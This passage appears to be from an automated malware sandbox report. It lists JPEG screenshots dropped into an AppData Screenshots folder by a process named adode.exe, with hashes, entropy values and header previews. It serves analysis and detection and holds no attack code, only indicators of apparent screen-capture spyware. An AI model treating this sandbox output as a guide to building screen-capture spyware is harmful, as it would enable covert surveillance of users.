Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_001417.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_013044.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151706
Entropy (8bit):	7.928009732858142
Encrypted:	false
SSDEEP:	3072:iRkmvxMbTQANj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:9bTQANj6BvNuHwpLyaG2ywJ
MD5:	81C9A2B02790C790EB6CD687C1A8B55D
SHA1:	112DAC6301FD41FC6468A07B161D702E4589A583
SHA-256:	06EEFDD709B01C532A49A18DDFE42D4375E7402664C4199E40BB23E7B76EB74E
SHA-512:	723A260ADF4A9E6C3D911477128598EA4E2F04168B0A9971780A7E3F64310A46B0DA174555E5674CFD188D15434B686687ED8058E237E2F750084CC93F5AB70D
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_024845.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_050206.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_081403.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_112213.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_141538.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_163441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_200441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241205_232200.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241208_051521.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241208_070831.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241210_122033.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241210_150431.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241210_181448.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241210_213954.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241213_030511.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
